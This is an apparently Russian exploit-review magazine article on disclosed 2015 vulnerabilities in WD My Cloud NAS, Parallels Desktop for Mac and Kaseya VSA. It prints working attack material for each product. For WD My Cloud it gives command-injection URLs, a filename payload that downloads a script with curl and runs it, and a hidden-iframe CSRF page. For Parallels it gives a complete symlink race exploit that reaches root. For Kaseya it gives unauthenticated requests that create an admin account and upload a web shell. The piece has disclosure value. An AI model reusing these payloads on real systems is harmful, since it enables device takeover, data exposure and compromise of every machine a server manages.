Обзор эксплоитов #202. Уязвимости в Parallels Desktop, Kaseya и My Cloud

В сегодняшнем обзоре мы рассмотрим получение привилегий в OS X с установленным Parallels Desktop. Разберем уязвимости в системе Kaseya, которая помогает не только управлять парком компьютеров в компаниях, но и обеспечивать безопасность. При этом она стала средством, с помощью которого атакующий может выполнить свой код на всех подчиненных устройствах. А также рассмотрим уязвимость в популярном NAS производства Western Digital.

Выполнение произвольных команд в Western Digital My Cloud

CVSSv2

N/A

BRIEF

Дата релиза: 28 сентября 2015 года
Автор: @ab5ane
CVE: N/A

Western Digital My Cloud (Personal Cloud Storage) представляет собой Network Attached Storage (NAS). Он пригоден как для использования дома, так и в качестве личного облака для небольших команд. К хранящимся данным можно получить доступ не только из личной сети, но и с другого конца света. На фоне нашумевших утечек личной информации такие устройства стали еще более востребованы — ведь доступ к данным не получит сторонняя организация. По крайней мере в теории.

Уязвимости типа инъекция команд и CSRF были найдены в прошивке с версиями 04.01.03-421 и 04.01.04-422. Предыдущие версии, установленные в разные NAS этой компании, тоже потенциально уязвимы.

EXPLOIT

WD My Cloud работает на Debian Linux. Есть два способа взаимодействия с системой:

  • интерфейс для администратора (http://wdmycloud.local/UI/);
  • RESTful API (http://wdmycloud.local/api/). Он используется администраторским интерфейсом и клиентскими приложениями.

Весь исходный код хранится на устройстве в папке /var/www, и к нему можно получить доступ через SSH. Веб-приложение, как правило, выполняет обычные скрипты на устройстве: добавление и удаление пользователей, проверка доступного места на диске, перезагрузка и другие. Такие скрипты находятся в /usr/local/sbin/. Так как большинство из них требует прав администратора, пользователь www-data числится в /etc/sudoers.

Содержимое файла /etc/sudoers

Разберем возможность инъекции команд. С помощью SSH-доступа к устройству (который включается в панели администратора) автор эксплоита нашел внутри /var/www код на PHP, который позволяет выполнять команды в ОС. Функция exec_runtime из файла /var/www/rest-api/api/Core/init_autoloader.php спроектирована так, что полученные данные отправляет в функцию exec.

Функция exec_runtime

В некоторых случаях пользователь может передать параметры GET и POST, которые придут в эту функцию, а затем выполнятся в системе. Часть скриптов плохо проверяет переданные параметры и отправляет их в функцию exec как есть. На скриншоте представлен один из таких случаев, найденный в скрипте /var/www/rest-api/api/SafePoint/src/SafePoint/Controller/SafePointGetStatus.php.

Вызов функции exec_runtime

При просмотре исходного кода скрипта был обнаружен параметр запроса handle, который передается напрямую в скрипт safeptExec.pl без какой-либо обработки. Для демонстрации воспользуемся CSRF-атакой на авторизованного администратора, который при заходе на нашу страницу выполнит запрос и перезагрузит устройство ($(sudo reboot)).

http://wdmycloud.local/api/1.0/rest/safepoint_getstatus?handle=$(sudo reboot)&action=update

Из-за того что нет никакой обработки или проверки этого параметра при копировании в $opts, вызов функции exec_runtime заставит систему выполнить команду как есть.

sudo perl <INCLUDE_PATH> /usr/local/NSPT/WDSafe/safeptExec.pl –handle=$(sudo reboot)&action=update

Команда $(sudo reboot), в свою очередь, прервет работу ОС, и остальные команды не будут выполнены.

Еще одна проблема связана с обработкой больших файлов. Когда администратор настраивает устройство, он может добавить новых пользователей, назначить права доступа к разделам и выдать или запретить удаленный доступ, а также разграничить доступ к файлам. Удаленный доступ возможен для клиентов с Windows, Mac, Android и iPhone. Им доступен фронтенд, который получает ответы от устройства по RESTful API. Благодаря найденным в этой структуре ошибкам автор обнаружил возможность любому авторизованному пользователю выполнять произвольные команды или получить доступ к файлам других пользователей. Что еще хуже, атакующий будет иметь доступ к корневому разделу NAS.

В скрипте /var/www/rest-api/api/Common/includes/util.inc определена функция fstatLfs, которая получает статическую информацию из файлов. Для файлов размером два гигабайта и более есть свой обработчик. В нем и нашлась ошибка: имена файлов передаются через командную строку в двойных кавычках, а не в одинарных. Из-за двойных кавычек строки в таком имени файлов будут обрабатываться как команды.

Функция exec_runtime

Эксплуатация этой уязвимости проста: загружаем файл размером более двух гигабайт с вредоносным именем.

$(sudo curl 192.168.0.226 -o makeAllPublic.sh && sudo bash makeAllPublic.sh).txt

Вот как выглядит makeAllPublic.sh.

#!/bin/bash

while read share;
do
    echo UPDATE UserShares SET public_access=\"true\" WHERE share_name=\"$share\"";" | sqlite3 /usr/local/nas/orion/orion.db;
done < <(bash /usr/local/sbin/getShares.sh private)

В результате на устройстве все разделы станут публичными и любой пользователь сможет получить к ним доступ.

Но что делать, если у атакующего нет авторизованного доступа? Так как устройство используется в локальной сети, существует папка Public, в которую в большинстве случаев может положить файл любой желающий. В итоге нужно создать файл с указанным размером и вредоносным именем. Далее ждем, когда авторизованный пользователь просмотрит папку с любого устройства, используя клиентское приложение WD.

Устройство подвержено и CSRF-атакам. Это позволяет выполнить различные команды, если пользователь зайдет на нашу страницу.

http://wdmycloud.local/api/1.0/rest/safepoint_getstatus?handle=$(sudo shutdown -h now)&action=update

Адрес устройства не всегда имеет такой вид, но тут нам на помощь может прийти функция WebRTC, доступная в популярных браузерах. Еще нам требуется правильная сессия. В итоге для атаки нужно:

  1. Использовать WebRTC для определения IP-адреса устройства.
  2. Сделать запрос на My Cloud через LAN для создания правильной сессии в браузере.
  3. Отправить атакующий запрос на устройство. Ниже приведен текст запроса.
 ...
 function exploit(ip) {

 var ip_part = ip.split(".");
 var cidr_24 = ip_part[0] + "." + ip_part[1] + "." + ip_part[2] + ".";
 if (ip_part[0] == "192" || ip_part[0] == "172" || ip_part[0] == "10") {
     var expFrame = new Array(255);
     for (i = 2; i < 40; i++) {
         document.write("<iframe id=\"" + i + "\" src=\"http://" + cidr_24 + i +"/api/2.1/rest/local_login?username=" + "<?php echo $_GET['username'] ?>" + "&password=" + "<?php echo $_GET['password'] ?>\" height=0 width=0 style=\"visibility:hidden;display:none\"></iframe>");
     };
     for (i = 2; i < 40; i++) {
         document.write("<iframe id=\"exp" + i + "\" src=\"http://" + cidr_24 + i + "/api/1.0/rest/safepoint_getstatus?handle=$(sudo shutdown -h now)&action=update\" height=0 width=0 style=\"visibility:hidden;display:none\"></iframe>");
         setInterval( function(id) {document.getElementById(id).src = document.getElementById(id).src;}, 2000, "exp"+i );
     };
 };

 };

 function go() {

 getIPs(function(ip) {
     exploit(ip);
 });

 };

Код на JavaScript, который используется для определения IP-адреса через WebRTC, можно скачать целиком отсюда. А полный текст страницы для CSRF-атаки ты можешь взять из Exploit-DB.

Стоит заметить, что производитель был уведомлен 12 мая 2015 года, но патч вышел только сейчас, равно как и публикация уязвимости. Оригинальную статью с видео эксплуатации ты можешь прочитать на сайте компании VerSprite.

О Shodan мы писали уже не раз, поэтому просто напомню: с его помощью ты можешь найти NAS с этой прошивкой.

TARGETS

Прошивки с версиями до сентября 2015 года.
Протестировано на версиях 04.01.03-421 и 04.01.04-422 для устройств
Personal Cloud.

SOLUTION

Производитель выпустил исправление.

Также автор советует:

  • отключить WebRTC в браузерах;
  • доступ к My Cloud устройствам открыть только доверенным пользователям;
  • отключить удаленное управление, если оно не используется.

Повышение привилегий в OS X с установленным Parallels Desktop for Mac

CVSSv2

N/A

BRIEF

Дата релиза: 8 января 2015 года
Автор: @beist
CVE: N/A

Продолжим наш обзор уязвимостью типа повышения привилегии в OS X с установленным Parallels Desktop. Не удивляйся такой давней дате. Автор эксплоита публикует уязвимости нулевого дня под паролями, и информация не сразу становится достоянием общественности.

Было достигнуто только получение высших привилегий на хостовой системе, а не «побег» из виртуальной машины, что было бы, конечно, лучше. Автор нашел исполняемый файл с битом setuid в установочной директории Parallels. Во время исследования у него была последняя на тот момент версия.

$ cd "/Applications/Parallels Desktop.app/Contents/MacOS/"
$ ls -al "Parallels Service"
-rwsr-sr-x 1 root accessibility 27376 1 8 13:24 Parallels Service

Из имени файла примерно ясно, за что он отвечает. Загрузим его в IDA, чтобы изучить подробнее.

Загрузка Parallels Service в IDA
Точка входа в файле Parallels Service

Найдя точку входа, исследователь проанализировал список функций и в результате нашел интересную — _execv.

Список функций из файла Parallels Service
Функция _execv в Parallels Service

Вызывается она только в одном месте, что облегчает анализ.

Место вызова функции _execv в Parallels Service

Если прокрутить ниже, то можно увидеть несколько простых блоков. Из них становится ясно, что проверяется переданный аргумент argv[1] со строкой inittool. На самом деле таких строк больше, к примеру service_start и service_stop. Но только inittool активируется так же, как и исполняемый файл, который находится в той же папке.

Сравнение переданного аргумента со строкой inittool в Parallels Service

Проверяем права у этого файла.

$ ls -al inittool
-rwxr-xr-x@ 1 root wheel 23992 1 8 13:24 inittool
Отображение ошибки подписи после проверки

Снова прокрутим наверх. В глаза бросается строка «error: failed to verify signature (%d)». Мы можем предположить, что функция sub_100002920() проверяет, правильно ли подписан исполняемый файл. На следующем скриншоте представлена часть кода этой функции.

Часть кода проверки подписи

Для более удобного восприятия переименуем функцию sub_100002920() в verify(). Теперь рассмотрим ассемблерный код между функциями verify() и execv().

Код между функциями verify() и execv()

Он кажется странным. Где же защита от ошибок типа «состояние гонки» (Race Condition)? Это как раз то, что мы искали. И если сможем победить в этой «гонке», то получим права root.

EXPLOIT

Нам нужно, чтобы inittool выполнился из директории Parallels Services. Но у нас нет прав на запись в нее.

drwxr-xr-x 35 root wheel 1190 1 8 13:24 MacOS

Правда, есть один старый трюк, который нам поможет. Нужно только создать жесткую или символьную ссылку. Код, представленный ниже, демонстрирует простоту уязвимости.

Для начала создадим ссылку.

$ cd ~
$ mkdir -p Contents/Resources/
$ cp "/Applications/Parallels Desktop.app/Contents/Resources/exceptions.list" Contents/Resources/
$ mkdir -p work/tmp/
$ ln -s "/Applications/Parallels Desktop.app/Contents/MacOS/Parallels Service" work/tmp/poc
$ cd work/tmp
$ ls -al poc
lrwxr-xr-x 1 beist_air staff 68 1 8 11:26 poc -> /Applications/Parallels Desktop.app/Contents/MacOS/Parallels Service

Затем скопируем оригинальный inittool.

$ cp "/Applications/Parallels Desktop.app/Contents/MacOS/inittool" inittool
$ cp inittool orig_inittool

Теперь создадим ложный inittool и скомпилируем.

$ cat fake_inittool.c
...
int main() {
    printf("\nGot it! UID: %d\n", getuid());
    printf("Got it! EUID: %d\n", geteuid());
    while(1);
}
$ gcc -o fake_inittool fake_inittool.c

Далее сделаем два скрипта на Python, которые и обеспечат нам «гонку».

import os
import sys
while 1:
    os.system("cp orig_inittool inittool")
    os.system("cp fake_inittool inittool")
$ cat run.py
import os
while 1:
    os.system("./poc inittool")

Ну и запустим наши скрипты.

$ python race.py &
$ python run.py
./inittool: line 16: __TEXT8?__stub_helper__TEXTL.L?__cstring__TEXTz%z__unwind_info__TEXT?H?__eh_frame__TEXT???__DATA__nl_symbol_ptr__DATA__la_symbol_ptr__DATAH__LINKEDIT: command not found
error: failed to verify signature (-67062)
./inittool: line 16: __TEXT8?__stub_helper__TEXTL.L?__cstring__TEXTz%z__unwind_info__TEXT?H?__eh_frame__TEXT???__DATA__nl_symbol_ptr__DATA__la_symbol_ptr__DATAH__LINKEDIT: command not found
./inittool: ./inittool: cannot execute binary file
error: failed to verify signature (-67061)
error: failed to verify signature (-67062)
./inittool: ./inittool: cannot execute binary file
error: failed to verify signature (-67061)
...
error: failed to verify signature (-67062)
error: failed to verify signature (-67061)
error: failed to verify signature (-67061)
./inittool: ./inittool: cannot execute binary file
./inittool: line 16: __TEXT8?__stub_helper__TEXTL.L?__cstring__TEXTz%z__unwind_info__TEXT?H?__eh_frame__TEXT???__DATA__nl_symbol_ptr__DATA__la_symbol_ptr__DATAH__LINKEDIT: command not found

Got it! UID: 0
Got it! EUID: 0

Через несколько секунд автор получил шелл с правами администратора.

Оригинальную статью и про остальные найденные уязвимости ты можешь прочитать в блоге автора.

TARGETS

Протестировано на Paralleles Desktop 10.1.2 (28859).

SOLUTION

Производитель выпустил исправление.

Многочисленные уязвимости в Kaseya VSA

CVSSv2

N/A

BRIEF

Дата релиза: 23 сентября 2015 года
Автор: Pedro Ribeiro
CVE: 2015-6589, 2015-6922

Kaseya VSA — это платформа для управления тысячами компьютеров и мобильных устройств в маленьких и средних компаниях. Владея сервером Kaseya, ты владеешь организацией. Естественно, уязвимости в таких продуктах могут привести к плачевным последствиям.

Kaseya написана с использованием технологии ASP. Примеры атак просты, поэтому рассмотрим ошибки сразу на эксплоитах.

EXPLOIT

Первая уязвимость (CVE-2015-6922/ZDI-15-448) типа удаленного получения привилегий в системе появляется из-за того, что неавторизованный пользователь может добавить аккаунт главного администратора (Master Administrator).

Следующий запрос приведет к попытке редиректа, но его надо игнорировать, так как наша цель — получить значение переменной sessionVal из этой страницы.

GET /LocalAuth/setAccount.aspx

Это значение нам нужно для POST-запроса, который и добавит наш аккаунт с повышенными правами.

POST /LocalAuth/setAccount.aspx
sessionVal=<sessionVal>&adminName=<username>&NewPassword=<password>&confirm=<password>&adminEmail=<email>&setAccount=Create

Теперь у нас есть аккаунт администратора, и мы можем выполнять код во всех управляемых системой стационарных и мобильных устройствах.

Вторая уязвимость (CVE-2015-6922/ZDI-15-449) типа удаленного выполнения кода через загрузку файла возникла из-за возможности обхода директорий неавторизованным пользователем.

Для начала сделаем запрос.

GET /ConfigTab/serverfiles.asp

В ответ получим код 302 и перенаправление на ссылку вида /mainLogon.asp?logout=<sessionID>.

Теперь у нас есть правильный sessionID, и мы можем выполнить атакующий запрос.

POST /ConfigTab/uploader.aspx?PathData=C%3A%5CKaseya%5CWebPages%5C&qqfile=shell.asp
Cookie: sessionId=<sessionID>
<... ASP shell here...>

Возможно, потребуется скорректировать пути, но сама Kaseya любезно сообщит, когда путь будет не найден.

Еще одна уязвимость, как и предыдущая, позволяет удаленно выполнить произвольный код через загрузку файла. Но с одним ограничением: она доступна только авторизованным пользователям.

Авторизуемся в консоли VSA, получаем значение ReferringWebWindowId из URL (переменная wwid) и создаем POST-запрос с ним.

POST /vsapres/web20/json.ashx HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------114052411119142
Content-Length: 1501

-----------------------------114052411119142
Content-Disposition: form-data; name="directory"

../WebPages
-----------------------------114052411119142
Content-Disposition: form-data; name="ReferringWebWindowId"

31a5d16a-01b7-4f8d-adca-0b2e70006dfa
-----------------------------114052411119142
Content-Disposition: form-data; name="request"

uploadFile
-----------------------------114052411119142
Content-Disposition: form-data; name="impinf__uploadfilelocation"; filename="shell.asp"
Content-Type: application/octet-stream

<... ASP shell here...>

Теперь у нас снова имеется доступ к атакуемой системе. В качестве шелла можешь взять релизы с форума Rdot или посмотреть в одном из старых номеров ][.

Автором уязвимости написаны два модуля для Metasploit (под каждую уязвимость), а также скрипт на Ruby — они значительно упрощают атаку. Вот как подключить модули Metasploit.

use auxiliary/admin/http/kaseya_master_admin
...
use exploits/windows/http/kaseya_uploader

TARGETS

VSA Version 7.0.0.0–7.0.0.32;
VSA Version 8.0.0.0–8.0.0.22;
VSA Version 9.0.0.0–9.0.0.18;
VSA Version 9.1.0.0–9.1.0.8.

SOLUTION

Производитель выпустил исправление.

Борис dukeBarman Рютин: Известный реверсер, докладчик на множестве конференций, постоянный автор «Хакера» и большой фанат вселенных Blizzard :) В данный момент работает аналитиком в компании "Digital Security" (@DSecRU) и ведёт блог http://dukebarman.pro.

Комментарии (1)

  • "Правда, есть один старый трюк, который нам поможет. "
    я не понял, почему после этого делается копия неокторых файлов в домашную папку юзера,
    и более того Паралелс читает файл не откуда нужно, а из домашней паапки юзера?

Похожие материалы